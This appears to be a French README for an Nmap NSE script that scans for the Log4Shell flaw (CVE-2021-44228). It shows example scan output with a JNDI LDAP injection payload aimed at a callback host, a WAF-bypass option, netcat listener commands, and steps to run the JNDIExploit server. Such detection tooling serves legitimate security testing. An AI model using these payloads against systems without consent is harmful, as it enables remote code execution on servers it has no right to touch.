
Script NSE Log4Shell de Nmap pour la découverte de la RCE Apache Log4j (CVE-2021-44228)
nmap-log4shell est un script NSE pour découvrir la vulnérabilité Apache Log4j RCE (CVE-2021-44228) sur le réseau. Le script peut injecter la charge utile de l'exploit log4shell via les en-têtes HTTP (par défaut) ou via une socket TCP/UDP.
CVE-2021-44228 est une vulnérabilité d'exécution de code à distance (RCE) dans Apache Log4j 2. Un attaquant distant non authentifié pourrait exploiter cette faille en envoyant une requête spécialement conçue à un serveur exécutant une version vulnérable de log4j. La requête conçue utilise une injection via l'interface de nommage et d'annuaire Java (JNDI) à travers divers services, notamment :
Si le serveur vulnérable utilise log4j pour enregistrer les requêtes, l'exploit demandera alors une charge utile malveillante via JNDI à travers l'un des services ci-dessus depuis un serveur contrôlé par l'attaquant. Une exploitation réussie pourrait conduire à une RCE.
Localisez où se trouvent vos scripts nmap sur votre système :
~/.nmap/scripts/ ou $NMAPDIR/usr/local/Cellar/nmap/<version>/share/nmap/scripts/C:\Program Files (x86)\Nmap\scriptsCopiez le script fourni (log4shell.nse) dans ce répertoire, puis exécutez nmap --script-updatedb pour mettre à jour la base de données des scripts nmap.
nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| log4shell:
| Payloads:
| ${jndi:ldap:/172.17.42.1:389/log4shell}
| Test Method: HTTP
| URL Path: /
| HTTP Method: GET
| HTTP Headers:
| Access-Control-Request-Method: 200
| Accept: 200
| Access-Control-Request-Headers: 200
| Accept-Charset: 200
| X-Api-Version: 200
| Warning: 200
| Pragma: 200
| Upgrade-Insecure-Requests: 200
| Range,: 400
| Hostname: 200
| Content-Length: 400
| Dnt: 200
| Date: 200
| Username: 200
| Content-Encoding: 200
| Content-Type: 200
| Forwarded: 200
| Max-Forwards: 200
| Accept-Encoding: 200
| Referer: 200
| IP: 200
| IPaddress: 200
| X-Amz-Date: 200
| X-Amz-Target: 200
| TE: 200
| Content-Disposition: 200
| X-Requested-With: 200
| upgrade-insecure-requests: 200
| Authorization: 200
| Cookie: 200
| User-Agent: 200
| Accept-Language: 200
| Proxy-Authorization: 200
| Expect: 417
| From: 200
| Accept-Datetime: 200
| X-CSRF-Token: 200
| Origin: 200
|_ Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs
log4shell.callback-server : Le serveur de callback (ex. 172.17.42.1:1389)log4shell.http-headers : Liste d'en-têtes HTTP séparés par des virgules (ex. X-Api-Version,User-Agent,Referer)log4shell.http-method : Méthode HTTP (par défaut : GET)log4shell.url-path : Chemin d'URL (par défaut : /)log4shell.waf-bypass : Utiliser les charges utiles de contournement WAF (par défaut : false)log4shell.test-method : Tester via http (par défaut), tcp, ou Le script repose sur les callbacks de la cible scannée, donc toute règle de pare-feu ou interaction avec d'autres dispositifs de sécurité affectera l'efficacité du script.
Écouter un port TCP avec netcat (ou ncat) :
ncat -vkl 1389 # Ncat
nc -lvnp 1389 # Netcat
Exécutez Nmap avec le script --script log4shell.nse
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
Voir l'adresse IP de la cible dans la sortie netcat (ou ncat) :
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.
Téléchargez JNDIExploit depuis GitHub (https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)
Démarrez le serveur JNDIExploit :
java -jar JNDIExploit.jar
Exécutez Nmap avec le script --script log4shell.nse
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
Voir la sortie JNDIExploit pour la requête LDAP reçue
[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell
Ce projet est réalisé à des fins éducatives et de test éthique uniquement. L'utilisation de nmap-log4shell pour attaquer des cibles sans consentement mutuel préalable est illégale. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de tout usage abusif ou dommage causé par ce programme.
Le projet est sous licence MIT.
udpall